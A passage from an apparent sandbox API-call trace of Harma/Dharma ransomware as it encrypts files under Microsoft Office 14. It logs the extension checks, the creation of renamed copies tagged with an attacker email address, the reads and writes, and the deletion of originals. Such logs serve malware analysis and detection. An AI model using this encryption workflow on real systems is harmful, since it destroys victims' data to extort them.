lpString2=".HXK") returned 1 [0159.628] lstrlenW (lpString=".xlsx") returned 5 [0159.628] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.628] lstrlenW (lpString=".ppt") returned 4 [0159.628] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.628] lstrlenW (lpString=".zip") returned 4 [0159.629] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.629] lstrlenW (lpString=".rar") returned 4 [0159.629] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.629] lstrlenW (lpString=".bz2") returned 4 [0159.629] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.629] lstrlenW (lpString=".7z") returned 3 [0159.629] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.629] lstrlenW (lpString=".dbf") returned 4 [0159.629] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.629] lstrlenW (lpString=".1cd") returned 4 [0159.629] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.629] lstrlenW (lpString=".jpg") returned 4 [0159.629] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.629] lstrlenW (lpString=".doc") returned 4 [0159.629] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0159.629] lstrlenW (lpString=".docx") returned 5 [0159.629] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0159.629] lstrlenW (lpString=".pdf") returned 4 [0159.629] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0159.629] lstrlenW (lpString=".xls") returned 4 [0159.629] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0159.629] lstrlenW (lpString=".xlsx") returned 5 [0159.629] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0159.629] lstrlenW (lpString=".ppt") returned 4 [0159.629] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0159.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.629] lstrlenW (lpString=".zip") returned 4 [0159.630] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0159.630] lstrlenW (lpString=".rar") returned 4 [0159.630] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0159.630] lstrlenW (lpString=".bz2") returned 4 [0159.630] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0159.630] lstrlenW (lpString=".7z") returned 3 [0159.630] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.630] lstrlenW (lpString=".dbf") returned 4 [0159.630] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.630] lstrlenW (lpString=".1cd") returned 4 [0159.630] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0159.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0159.630] lstrlenW (lpString=".jpg") returned 4 [0159.630] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0159.630] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0159.630] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0159.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.631] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6816061) returned 1 [0159.631] CloseHandle (hObject=0x380) returned 1 [0159.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs")) returned 0x20 [0159.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0159.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.631] lstrlenW (lpString=".doc") returned 4 [0159.631] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0159.631] lstrlenW (lpString=".docx") returned 5 [0159.631] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0159.631] lstrlenW (lpString=".pdf") returned 4 [0159.631] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0159.632] lstrlenW (lpString=".xls") returned 4 [0159.632] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0159.632] lstrlenW (lpString=".xlsx") returned 5 [0159.632] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0159.632] lstrlenW (lpString=".ppt") returned 4 [0159.632] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0159.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.632] lstrlenW (lpString=".zip") returned 4 [0159.632] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0159.632] lstrlenW (lpString=".rar") returned 4 [0159.632] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0159.632] lstrlenW (lpString=".bz2") returned 4 [0159.632] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0159.632] lstrlenW (lpString=".7z") returned 3 [0159.632] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0159.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.632] lstrlenW (lpString=".dbf") returned 4 [0159.632] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0159.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.632] lstrlenW (lpString=".1cd") returned 4 [0159.632] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0159.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.632] lstrlenW (lpString=".jpg") returned 4 [0159.632] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0159.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.632] lstrlenW (lpString=".doc") returned 4 [0159.632] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0159.632] lstrlenW (lpString=".docx") returned 5 [0159.632] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0159.632] lstrlenW (lpString=".pdf") returned 4 [0159.632] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0159.633] lstrlenW (lpString=".xls") returned 4 [0159.633] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0159.633] lstrlenW (lpString=".xlsx") returned 5 [0159.633] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0159.633] lstrlenW (lpString=".ppt") returned 4 [0159.633] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0159.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.633] lstrlenW (lpString=".zip") returned 4 [0159.633] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0159.633] lstrlenW (lpString=".rar") returned 4 [0159.633] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0159.633] lstrlenW (lpString=".bz2") returned 4 [0159.633] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0159.633] lstrlenW (lpString=".7z") returned 3 [0159.633] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0159.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.633] lstrlenW (lpString=".dbf") returned 4 [0159.633] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0159.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.633] lstrlenW (lpString=".1cd") returned 4 [0159.633] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0159.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0159.633] lstrlenW (lpString=".jpg") returned 4 [0159.633] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0159.633] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0159.633] lstrlenW (lpString="POWERPNT_COL.HXC") returned 16 [0159.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0159.859] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=636) returned 1 [0159.859] CloseHandle (hObject=0x338) returned 1 [0159.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 0x20 [0159.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.887] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.887] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.887] GetLastError () returned 0x0 [0159.888] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x27c, lpOverlapped=0x0) returned 1 [0159.910] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x280, lpOverlapped=0x0) returned 1 [0159.911] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.911] WriteFile (in: hFile=0x350, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0159.911] SetEndOfFile (hFile=0x350) returned 1 [0159.911] CloseHandle (hObject=0x350) returned 1 [0159.911] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.911] SetEndOfFile (hFile=0x378) returned 1 [0159.913] CloseHandle (hObject=0x378) returned 1 [0159.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxc")) returned 1 [0159.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.973] lstrlenW (lpString=".doc") returned 4 [0159.973] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.973] lstrlenW (lpString=".docx") returned 5 [0159.973] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.973] lstrlenW (lpString=".pdf") returned 4 [0159.973] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.973] lstrlenW (lpString=".xls") returned 4 [0159.973] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.973] lstrlenW (lpString=".xlsx") returned 5 [0159.973] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.973] lstrlenW (lpString=".ppt") returned 4 [0159.973] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.973] lstrlenW (lpString=".zip") returned 4 [0159.973] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.973] lstrlenW (lpString=".rar") returned 4 [0159.973] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.973] lstrlenW (lpString=".bz2") returned 4 [0159.973] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.973] lstrlenW (lpString=".7z") returned 3 [0159.973] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.973] lstrlenW (lpString=".dbf") returned 4 [0159.973] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.973] lstrlenW (lpString=".1cd") returned 4 [0159.973] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.973] lstrlenW (lpString=".jpg") returned 4 [0159.973] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.974] lstrlenW (lpString=".doc") returned 4 [0159.974] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.974] lstrlenW (lpString=".docx") returned 5 [0159.974] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.974] lstrlenW (lpString=".pdf") returned 4 [0159.974] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.974] lstrlenW (lpString=".xls") returned 4 [0159.974] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0159.974] lstrlenW (lpString=".xlsx") returned 5 [0159.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0159.974] lstrlenW (lpString=".ppt") returned 4 [0159.974] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.974] lstrlenW (lpString=".zip") returned 4 [0159.974] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0159.974] lstrlenW (lpString=".rar") returned 4 [0159.974] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0159.974] lstrlenW (lpString=".bz2") returned 4 [0159.974] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0159.974] lstrlenW (lpString=".7z") returned 3 [0159.974] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.974] lstrlenW (lpString=".dbf") returned 4 [0159.974] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.974] lstrlenW (lpString=".1cd") returned 4 [0159.974] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0159.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXC") returned 64 [0159.975] lstrlenW (lpString=".jpg") returned 4 [0159.975] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0159.975] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0159.975] lstrlenW (lpString="PUB6INTL.DLL") returned 12 [0159.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.976] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6982504) returned 1 [0159.976] CloseHandle (hObject=0x378) returned 1 [0159.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll")) returned 0x20 [0159.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0159.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.978] lstrlenW (lpString=".doc") returned 4 [0159.978] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.978] lstrlenW (lpString=".docx") returned 5 [0159.978] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0159.979] lstrlenW (lpString=".pdf") returned 4 [0159.979] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.979] lstrlenW (lpString=".xls") returned 4 [0159.979] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.979] lstrlenW (lpString=".xlsx") returned 5 [0159.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0159.979] lstrlenW (lpString=".ppt") returned 4 [0159.979] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.979] lstrlenW (lpString=".zip") returned 4 [0159.979] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.979] lstrlenW (lpString=".rar") returned 4 [0159.979] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.979] lstrlenW (lpString=".bz2") returned 4 [0159.979] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.979] lstrlenW (lpString=".7z") returned 3 [0159.979] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.979] lstrlenW (lpString=".dbf") returned 4 [0159.979] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.979] lstrlenW (lpString=".1cd") returned 4 [0159.979] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.979] lstrlenW (lpString=".jpg") returned 4 [0159.979] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.979] lstrlenW (lpString=".doc") returned 4 [0159.980] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.980] lstrlenW (lpString=".docx") returned 5 [0159.980] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0159.980] lstrlenW (lpString=".pdf") returned 4 [0159.980] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.980] lstrlenW (lpString=".xls") returned 4 [0159.980] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.980] lstrlenW (lpString=".xlsx") returned 5 [0159.980] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0159.980] lstrlenW (lpString=".ppt") returned 4 [0159.980] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.980] lstrlenW (lpString=".zip") returned 4 [0159.980] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.980] lstrlenW (lpString=".rar") returned 4 [0159.980] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.980] lstrlenW (lpString=".bz2") returned 4 [0159.980] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.980] lstrlenW (lpString=".7z") returned 3 [0159.980] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.980] lstrlenW (lpString=".dbf") returned 4 [0159.980] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.980] lstrlenW (lpString=".1cd") returned 4 [0159.980] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0159.980] lstrlenW (lpString=".jpg") returned 4 [0159.980] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.981] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0159.981] lstrlenW (lpString="PUB6INTL.DLL.IDX_DLL") returned 20 [0159.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.981] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=67968) returned 1 [0159.981] CloseHandle (hObject=0x378) returned 1 [0159.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll")) returned 0x20 [0159.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.982] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.982] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.982] GetLastError () returned 0x0 [0159.982] ReadFile (in: hFile=0x378, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, 